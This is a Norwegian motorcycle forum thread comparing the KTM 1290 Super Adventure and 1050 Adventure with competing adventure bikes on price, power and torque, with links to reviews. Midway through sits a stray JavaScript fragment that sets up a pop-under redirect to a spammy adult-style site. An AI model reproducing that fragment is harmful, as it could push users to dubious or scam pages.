KTM 1290 Super Adventure - BMW R1200/1250GS utfordrer?

[Tobben84]

KTM 1050 ligger nok der den skal vere i pris. Ned på Vstrom1000 og Tiger 1050 nivå kan ikke forvente at den skal bli billigere.

Men effektmessig ligger den ikke der den skal være (..synes jeg). 98gamp?? I forhold til 1190/1290 burde den jo hatt bortimot 120-130 hester mener jeg.

Enig med du. Effekten gjør at prisforskjellen til 1190 blir for lite med tanke på den relativt store forskjellen i motorkraft. Andre konkurrente en klasse ned har jo tilsvarende effekt for en langt lavere pris.

Og jeg tror faktisk den kun har 95 hk, ikke 98.

[KawaJens]

Den er 30 000kr billigere en 1190 og 60 000kr billigere en 1290 og kun 6000kr dyrere en DL1000 og ca samme ytelse. Og når det gjelder ytelse så er det umulig å sammenligne når vi ikke har tall fra virklig kjøring å sammen ligne med.
For meg så virker det som en ok pris. Ikke det at eg ikke vil ha ting billigere.
Den er 95hk fordi det er mulig å regge den ned til A2 klasse.

[biker7]

KTM 1050 ligger nok der den skal vere i pris. Ned på Vstrom1000 og Tiger 1050 nivå kan ikke forvente at den skal bli billigere.

Men effektmessig ligger den ikke der den skal være (..synes jeg). 98gamp?? I forhold til 1190/1290 burde den jo hatt bortimot 120-130 hester mener jeg.

Enig med du. Effekten gjør at prisforskjellen til 1190 blir for lite med tanke på den relativt store forskjellen i motorkraft. Andre konkurrente en klasse ned har jo tilsvarende effekt for en langt lavere pris.

Og jeg tror faktisk den kun har 95 hk, ikke 98.

Du har rett, 95 hester. tilogmed 950 Adventure fra 2003 hadde jo mere effekt ! (98hk) I tillegg var vel den lettere enn 1050.

[AJ]

KTM 1050 ligger nok der den skal vere i pris. Ned på Vstrom1000 og Tiger 1050 nivå kan ikke forvente at den skal bli billigere.

Men effektmessig ligger den ikke der den skal være (..synes jeg). 98gamp?? I forhold til 1190/1290 burde den jo hatt bortimot 120-130 hester mener jeg.

Enig med du. Effekten gjør at prisforskjellen til 1190 blir for lite med tanke på den relativt store forskjellen i motorkraft. Andre konkurrente en klasse ned har jo tilsvarende effekt for en langt lavere pris.

Og jeg tror faktisk den kun har 95 hk, ikke 98.

Du har rett, 95 hester. tilogmed 950 Adventure fra 2003 hadde jo mere effekt ! (98hk) I tillegg var vel den lettere enn 1050.

Men så har vel 1050'en dreiemoment på godt og vel 100 Nm, noe som tilsier at sykkelen har et bredt og godt register som gjør den godt egnet til turer med bagasje og passasjer.
Tror kanskje den har mer moment (og lavere vekt?) enn konkurrentene Tiger 1050, Suzuki Vstrom og Kawasaki Versys...

[KawaJens]

Mener og ha sett 105nm som er vel rundt DL1000. Men KTM har lagd 1050 slik at den kan regges for A2 klassen, derfor ikke mer hester.
Apropo Kawasaki så ligger dei på 190 000kr no.
6000kr i forskjell mellom DL1000 og 1050adv er ikke mye og det kan kansje forklarest med bedre bremser,fjærer og litt andre detaljer. Men det er ikke noe vi får vete før test kjøringene kjem.

Men deven, eg må sjå om eg kalrer å forsvare 230 000kr + utstyr til sommeren.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

[Cutless]

http://www.bike.no/nyheter/ktm-1290-sup ... rovekjort/

Virker som en solid sykkel

[AJ]

Skal bli interessant å se flere testrapporter i tida framover...

https://ultimatemotorcycling.com/2015/0 ... pressions/

1290 SA blir nok en av de store snakkis-nyhetene i 2015...

[AJ]

Ingen fullgod testrapport, syns jeg...
Men... interessant nok:

http://www.motorcyclistonline.com/2015- ... cle-review" onclick="window.open(this.href);return false;

[Kawagutten]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

[AJ]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

[Kawagutten]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

Hvis ikke den gjør suksess her er det kanskje pga høy pris.

[AJ]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

Hvis ikke den gjør suksess her er det kanskje pga høy pris.

Prisene på Moto Guzzi er klare. Stelvio 8V som jeg har er priset til snaue 210.000,-.
Vet du nyprisen på Caponord?
Bra hvis den havner under 210' ...
Men det gjør den kanskje ikke

[Kawagutten]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

Hvis ikke den gjør suksess her er det kanskje pga høy pris.

Prisene på Moto Guzzi er klare. Stelvio 8V som jeg har er priset til snaue 210.000,-.
Vet du nyprisen på Caponord?
Bra hvis den havner under 210' ...
Men det gjør den kanskje ikke

V-twin i Horten selger den for 220000,fant ingen andre priser i farta.

[AJ]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

Hvis ikke den gjør suksess her er det kanskje pga høy pris.

Prisene på Moto Guzzi er klare. Stelvio 8V som jeg har er priset til snaue 210.000,-.
Vet du nyprisen på Caponord?
Bra hvis den havner under 210' ...
Men det gjør den kanskje ikke

V-twin i Horten selger den for 220000,fant ingen andre priser i farta.

Det bør være gammel pris...
Med mindre det dreier seg om Caponord "Rally".

[Kawagutten]

Synes 1290 Super Adventure minner litt om Caponord1200.Er det en som er bra så hermer vel de andre etter :-)

Ikke uenig i det .

Har på følelsen at KTM'en kan gjøre suksess her i landet. Litt mer usikker når det gjelder Caponord, er jeg redd... .
Men håper jeg tar feil når det gjelder denne stilfulle italieneren .

Hvis ikke den gjør suksess her er det kanskje pga høy pris.

Prisene på Moto Guzzi er klare. Stelvio 8V som jeg har er priset til snaue 210.000,-.
Vet du nyprisen på Caponord?
Bra hvis den havner under 210' ...
Men det gjør den kanskje ikke

V-twin i Horten selger den for 220000,fant ingen andre priser i farta.

Det bør være gammel pris...
Med mindre det dreier seg om Caponord "Rally".

Sist endret 27. jan 2015
https://www.finn.no/mc/all/ad.html?finn ... rough=true